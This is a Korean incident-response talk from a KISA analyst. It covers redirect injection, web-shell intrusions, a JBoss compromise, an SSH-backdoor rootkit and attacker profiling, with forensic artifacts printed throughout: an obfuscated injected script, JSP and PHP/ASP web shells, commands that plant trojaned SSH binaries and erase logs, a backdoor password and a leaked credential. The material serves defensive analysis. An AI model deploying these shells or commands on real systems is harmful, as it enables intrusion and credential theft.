(ficon2016) #2 침해사고 대응, 이렇다고 전해라
TRANSCRIPT
침해사고대응
‘16.4.22
KISA 분석1팀 이재광침해사고 분석 대응, EnCE/CISA/ISMS/CPPG
F-INSIGHT CONFERENCE 2016
이렇다고전해라~
대응 체계
꺼리
Case 분석
• 초기대응(시야확보)
• 대응전략수립(관찰의힘)
• 상세분석(예외 No, Profiling)
• 사후조치(Collabo)
Think...
Episode
대응 체계
피해시스템 분석을 위하여 다양한 분석 도구 및 장비 사용
- 디스크 이미지 복제 : Rapid Image, Magic Cube
- 전문 분석 도구 : Encase 7, FTK, F-EXPLORER
초기대응1st Case
시야가 확보되면 문제를 풀 수 있다
시야가 확보되면 문제를 풀 수 있다
서버설정
DNS 설정변경
스크립트삽입
호스트파일변조
불법 리다이렉트
Keyword1st Case
불법 리다이렉트1st Case 시야확보
불법 리다이렉트1st Case 시야확보
180.131.1.79(koreaboxoffice.com / 브리즈피엔엠) -> rafomedia.com(158.85.62.205) -> adrotate.se(83.140.162.230)
-> pops.ero-advertising.com(185.70.212.101) -> spaces.slimspots.com(176.31.224.189) -> aff.camplace.com
불법 리다이렉트1st Case 시야확보
불법 리다이렉트1st Case 시야확보
불법 리다이렉트1st Case 시야확보
불법 리다이렉트1st Case 시야확보
180.x.x.79(korOOOice.com) -> rafomedia.com(158.85.62.205)
-> adrotate.se(83.140.162.230) -> pops.ero-advertising.com(185.70.212.101)
-> spaces.slimspots.com(176.31.224.189)-> aff.camplace.com
불법 리다이렉트1st Case 시야확보
시야가 확보되면 문제를 풀 수 있다
삽질 하자는 뜻인 줄 알았다.
시야를 확보하자는 뜻이었다
Episode
2nd Case 대응전략 수립
관찰은 쓰다. 그러나 열매는 달다
웹셸제거
계정접근제어설정
서버점검
서비스재설치
서비스 망 해킹
2nd Case Keyword
117.x.x.188(한국, VPN)211. x.x.19(한국, VPN)211. x.x.3(한국, VPN)211. x.x.203(한국)210.x.x.22(한국)116.x.x.1~116.x.x.255(중국)
웹서버(213)hoxxy.OOO.com
웹서버(222)www.OOO.com
파일서버(209)file.OOO.com
파일서버(223)hoxxdata.OOO.com
211.x47.x0.51(KR)
공유폴더 접속(관리자 계정)
웹셸 업로드
FTP 접속(관리자 계정)
웹셸 업로드
DB서버(210)
211.x34.x2.202(KR)
원격제어
OO닷컴 서버망58.x.162.x
win 서버 13대linux 서버 ??대
2nd Case 서비스 망 해킹 관찰의 힘
<213번웹서> D:\OnmamWebSiteSource\homxx.OOO.com/common/js/prototype.js
<222번웹서버> D:\OnmamWebSiteSource\images.OOO.com\Common_js\YUtil.js
myOOO.co.kr/test/f/ck.gif
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]
=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(ne
w RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('4.3("<0 2=1://5.b.6.a/9/8.7></0>");',12,12,'script|http|src|write|d
ocument|itoy|co|gif|all|images|kr|dbros'.split('|'),0,{}))
--> 디코딩결과
document.write("<script src=http://itoy.dbOOO.co.kr/images/all.gif></script>");
2015-04-20 17:16:17 W3SVC678852465 58.x.x.213
POST /customer/con.asp(웹셸) - 80 – 117.x.x.188(한국, VPN)
Mozilla/4.0+(compatible;+MSIE+8.0;+Windows+NT+5.2;+Trident/4.0;+qdesk+2.4.1264.203;+.NET+CLR+1.1.4322;+.N
ET+CLR+2.0.50727;+.NET+CLR+3.0.04506.30;+.NET+CLR+3.0.4506.2152;+.NET+CLR+3.5.30729) 200 0 0
2nd Case 서비스 망 해킹 관찰의 힘
일부 웹셸의 경우 IIS의 가상폴더를 이용하여 연결
2nd Case 서비스 망 해킹 관찰의 힘
웹셸이 삭제될 경우 공유폴더 접근을 통해 다시 업로드
2nd Case 서비스 망 해킹 관찰의 힘
공유폴더 접근 차단 조치 후 209번 서버에서 222번 서버로 FTP 접속, 다시 웹셸 업로드
2nd Case 서비스 망 해킹 관찰의 힘
209번 서버 확인결과, 외부 C&C로 백커넥트되어 있는 상태
2nd Case 서비스 망 해킹 관찰의 힘
사용자행위확인결과공격도구인Cain.exe 실행이력확인
Cain.exe 실행시점의브라우저기록을확인한결과다수의악성코드추가다운수행한이력확인
isangwhang.com/data/goodsimages/fxp.exe <시점 : 2015-04-28 18:40:58>
ischoolplus.com/css/zx.exe <시점 : 2015-04-28 23:07:31>
isangwhang.com/data/goodsimages/cain.exe <시점 : 2015-04-28 23:15:37>
209번 파일서버 브라우져 로그 확인 - 공격자가 추가 악성코드 다운을 시도
2nd Case 서비스 망 해킹 관찰의 힘
악성코드를 추가 다운한 시점의 이벤트로그 확인 - 223번 서버에서 209번 서버로 원격터미널 접속
223번 파일서버 : 209과 동일한 원격제어 악성코드가 설치, 외부 C&C로 백커넥트 연결※ 악성코드 명 : lss.jpg(해킹도구인 HTran 악성코드)※ C&C : 211.x.x.202:443(한국)
2nd Case 서비스 망 해킹 관찰의 힘
C2로 악용된 서버 추가 분석 - 211.x47.x0.51(OO닷컴 DB서버)
2nd Case 서비스 망 해킹 관찰의 힘
2nd Case 서비스 망 해킹 관찰의 힘
2nd Case 서비스 망 해킹 관찰의 힘
관찰은 쓰다. 그러나 열매는 달다
감동보다 큰 설득은 없다
Episode
3rd Case 상세 분석
충분히 대화하라, 예외를 두지 말라
관리자 PC보안관리
개발어플리케이션보안
정기점검
접근제어
개발 망 해킹
로그관리
3rd Case Keyword
3rd Case 개발 망 해킹 예외는 없다
3rd Case
메모리상에서동작중인 DDoS 악성코드
예외는 없다개발 망 해킹
3rd Case
2013-07-10 10:23:10,134 INFO [org.jboss.naming.NamingService] Started jndi bootstrap jnpPort=1099,
rmiPort=1098, backlog=50, bindAddress=/0.0.0.0,
2013-07-10 10:23:14,293 INFO [org.jboss.mq.il.uil2.UILServerILService] JBossMQ UIL
service available at : /0.0.0.0:8093
......(중략)
2015-07-30 15:48:09,072 INFO [org.jboss.naming.NamingService] Started jndi bootstrap jnpPort=1099,
rmiPort=1098, backlog=50, bindAddress=/0.0.0.0,
2015-07-30 15:48:12,589 INFO [org.jboss.mq.il.uil2.UILServerILService] JBossMQ UIL
service available at : /0.0.0.0:8093
예외는 없다개발 망 해킹
3rd Case
2013-09-21 06:50:54,798 INFO [org.jboss.web.tomcat.tc5.TomcatDeployer] deploy, //업로드
ctxPath=/webconsole, //파일명
warUrl=file:/usr/local/jboss/server/default/deploy/management/webconsole.war/ //경로
예외는 없다개발 망 해킹
3rd Case
<%@page import="java.io.*"%><HTML><BODY><FORM METHOD="GET"
NAME="myform" ACTION=""><INPUT TYPE="text" NAME="cmd"><INPUT TYPE="submit"
VALUE="Execute"></FORM><PRE><%if (request.getParameter("cmd") != null)
{out.println("Command:" + request.getParameter("cmd"));
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();InputStream in = p.getInputStream();DataInputStream dis = new
DataInputStream(in);String disr = dis.readLine();
while ( disr != null ) { out.println(disr);disr = dis.readLine();}}%></BODY></HTML></pre>
개발 망 해킹 예외는 없다
3rd Case
해당 Jboss 기능과웹셸을이용하여악성파일생성및실행
웹셸 5개, 다운로더 58개, 백도어 1종, IRC bot 1종, DDoS 공격악성코드 1종생성
DDoS 악성코드실행시생성되는설정파일시간값
예외는 없다개발 망 해킹
3rd Case
백도어
예외는 없다개발 망 해킹
3rd Case
/tmp/.1/ 경로에설치된 [energy mech 2.8] IRC bot
http://www.energymech.net/index.html
예외는 없다개발 망 해킹
3rd Case 예외는 없다개발 망 해킹
관찰은 쓰다. 그러나 열매는 달다
우리의 대화는 목적이 서로 다르다
Episode
4th Case Profiling
소통하여 인텔리를 활용하라
거점확보기법
내부확산기법
C2 운영기법
웹셸운영기법
공격 기법
코드유포기법
타깃식별기법
4th Case Keyword
cd /tmp/xxx/temp/; wget http://www.OOO.com/xxx/aa.gif
wget http://www.OOO.com/xxx/bb.gif
wget http://www.OOO.com/xxx/cc.gif
mv aa.gif sshd; mv bb.gif ssh; mv cc.gif scp; chmod 755 sshd ssh scp;ls –al
cd /usr/sbin/; mv sshd sshd.bak; cd /usr/bin/; mv scp scp.bak; mv ssh ssh.bak
cd /tmp/xxx/temp/; cp sshd /usr/sbin/sshd; cp ssh /usr/bin/ssh; cp scp /usr/bin/scp
/etc/init.d/sshd restart
ssh 127.0.0.1
cd /usr/bin/; touch –r scp.bak scp ssh; rm –f *.bak; ls –al scp ssh
cd /usr/sbin/; touch –r sshd.bak sshd; rm –f sshd.bak; ls –al sshd
4th Case 거점 확보 기법 Profiling
SSH 백도어
[root@ksxxxx backup_virus]# strings /usr/sbin/sshd | more
Bad options in %.100s file, line %lu: %.50s
KiTrap0DExp!!! --> 공격자가원격으로로그인하기위해사용하는비밀번호
/usr/share/ssh//slog --> 관리자의계정을로깅하는키로깅파일
%s:%s --> 키로깅형태
trying public RSA key file %s
auth-rsa.c[root@ksxxxx- ssh]# cat slog | tailwww:prin****www:prince4025root:rlawl****root:wwlas****root:eel!****root:lliet****
4th Case 거점 확보 기법 Profiling
SSH 백도어
4th Case 거점 확보 기법 Profiling
SSH 백도어
usb-spi.ko 파일은 TCP 통신 트래픽 중 ‘fuck@root’ 문자열이 포
함된 패킷을 수신하면 /var/lib/nfs/statd/dm/libijs.so 실행
루트킷파일
/lib/modules/2.6.18-404.el5/kernel/sound/usb/usb-spi.ko
/var/lib/nfs/statd/dm/libijs.so
/var/lib/nfs/statd/dm/libijs2.so
libijs.so 파일은공격자가설정한 IP주소로리버스텔넷 시도
4th Case 거점 확보 기법 Profiling
루트킷
/proc 폴더분석을통한숨겨진프로세스탐지기법
cmdline : 명령행매개변수
cwd : 현재작업디렉토리
maps : 실행파일과라이브러리에대한메모리맵
mem : 프로세스메모리
status : 프로세스상태
environ : 프로세스에공개된환경변수
exe : 프로세스의실행파일
fd : 프로세스가열어놓은파일목록root : 프로세스루트디렉토리
4th Case 거점 확보 기법 Profiling
루트킷
/proc 폴더분석을통한숨겨진프로세스탐지기법
for PID in $(./chkproc -v | grep "PID" | grep "/" | awk -F "(" '{print $1}' | awk '{print $2}'); do echo -n "PID[$PID]"; ls -al /proc/$PID |grep exe |awk '{print "exe -> "$11}'; done
4th Case 거점 확보 기법 Profiling
루트킷
/proc 폴더분석을통한숨겨진프로세스탐지기법
for PID in $(find ./ -name exe | grep -v task | awk -F "/" '{print $2}'); do echo -n "PID[$PID]"; ls -al /proc/$PID | grep exe |awk '{print "exe -> "$11}';done
4th Case 거점 확보 기법 Profiling
루트킷
/usr/bin/umount –l root –p 22 –z dkagh#@!220.x.x.25
“cd /root/; mv .bash_history .bash_history.bak; ls-al”
/usr/bin/umount –l root –p 22 –z dkagh#@! 220.x.x.25
“cd /var/log/; mv wtmp wtmp.bak; mv lastlog lastlog.bak; mv secure secure.bak; ls –al *.bak”
/usr/bin/umount –l root –p 22 –z dkagh#@! 220.x.x.25
“/etc/init.d/iptables stop”
/usr/bin/umount –l root –p 22 –z dkagh#@! 220.x.x.28
…
/usr/bin/umount –l root –p 22 –z dkagh#@! 220.x.x.29
…
/usr/bin/umount –l root –p 22 –z dkagh#@! 220.x.x.35
…
/usr/bin/umount –l root –p 22 –z dkagh#@! 220.x.x.36
4th Case 내부 확산 기법 Profiling
국내소프트웨어업체인증서로서명된악성코드
4th Case 타깃 식별 기법 Profiling
4th Case 타깃 식별 기법 Profiling
http://www.boutell.com/rinetd/
4th Case C2 운영 기법 Profiling
4th Case C2 운영 기법 Profiling
4th Case C2 운영 기법 Profiling
4th Case C2 운영 기법 Profiling
4th Case C2 운영 기법 Profiling
C&C에서추출된 DB -1
4th Case C2 운영 기법 Profiling
4th Case 코드 유포 기법 Profiling
<%eval request("*0#")%>
<?php eval($_POST[ad]);?>
<%eval""&("e"&"v"&"a"&"l"&"("&"r"&"e"&"q"&"u"&"e"&"s"&"t"&"("&"""mFpECU"""&")"&")")%>
<?php preg_replace("//e",str_replace('%','v'.'a','e'.'%'.'l($_R'.'E'.'Q'.'U'.'E'.'S'.'T'.'[s'.'m'.'s'.'])'),"");?>
<?php eval($_POST[cmd]);?><?ob_start();?><?ob_start();?> <?ob_start();?>
4th Case 웹셸 운영 기법 Profiling
4th Case 웹셸 운영 기법 Profiling
웹 소스 경로에서 웹셸 검사 ??
웹 로그 기반 침해사고 대응 ??
4th Case 웹셸 운영 기법 Profiling
4th Case 웹셸 운영 기법 Profiling
윈도우 API로접근
4th Case 웹셸 운영 기법 Profiling
웹으로접근
4th Case 웹셸 운영 기법 Profiling
4th Case 웹셸 운영 기법 Profiling
관찰은 쓰다. 그러나 열매는 달다
가치있는 정보의 차이가 진짜 차이다
Episode
5th Case 사후 조치
Cooperation ⇒ Collaboration
관리자관심 Web
내부망전파 커뮤니티
DB 유출
관리자 보호거점, 로그
취약한호스팅
스피어피싱
5th Case Keyword
로그
거점
5th Case
Scrum vs Kanban.hwp61.x.x.251 port : 443 (C&C, )122.x.x.214 port : 443 (C&C)
15년도추계학술대회안내문.hwp203.x.x.163 port : 443,8443 (C&C)196.x.x.106 port : 443, 8443 (C&C)
관리자 공격 Collabo
5th Case 관리자 공격 Collabo
5th Case 관리자 공격 Collabo
5th Case
①해킹된웹사이트조치과정에서악성코드감염
②원격제어권확보③관리자 PC의관리프로그램을통한 RAT 설치
④다수웹서버에대한추가원격제어권확보
관리자 공격
취약한웹에서사용되는 ActiveX 취약점을공격에악용
대기… 대기... 대기…
Collabo
5th Case 관리자 공격
[root@exxx bin]# stat /lib/libcom.so.3.0.1
File: `/lib/libcom.so.3.0.1'
Access: (0755/-rwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)
리눅스 preload (/etc/ld.so.preload) - 모든프로세스에 so 파일인젝션
Collabo
5th Case 관리자 공격
디도스 공격 C2’15.4.25
27.x55.78.x
금융정보유출’15.7.7
APT C2
사용자zhongwei wang
27.x55.84.x
’15.1.22
27.x55.67.x
디도스 & 원격제어 C2’14.12.10
27.x55.71.x
5th Case 주요 거점 Collabo
76
8
16
0 10 20 30 40 50 60 70 80
1개월~3개월
4개월~6개월
6개월~1년
최초침투에서악성코드유포까지소요된기간비율
시스템 상세 분석이진행된 사고(50여건) 기준
5th Case Log... Collabo
관찰은 쓰다. 그러나 열매는 달다
내가 해봐야 하는 것은 보안 내재화다
Episode
명확하고 신속한 의사소통(분석가, 피해기관, 유관기관)
다양한 로그 분석을 통한 신중한 결과 도출(유관기관과의 정보공유)
분석 결과 기반 추가 증거 수집
이미지 및 방화벽로그/DB로그/해킹도구 등 다양한 분석 경험
전체적인 분석방향 및 일정 조율
상세한 리포트
거의 끝. Think... NOPASIM
공격대상 기관의 특성에 따라 침투 경로 및 기법 상이
보안 체계 자체의 Risk
최초 침투경로 확인 방안 / 전사적 보안 점검 방안
로그관리의 표준화
네트워크 기반 이상행위 탐지 체계
Defensive Security의 활성
거의 끝. Think... NOPASIM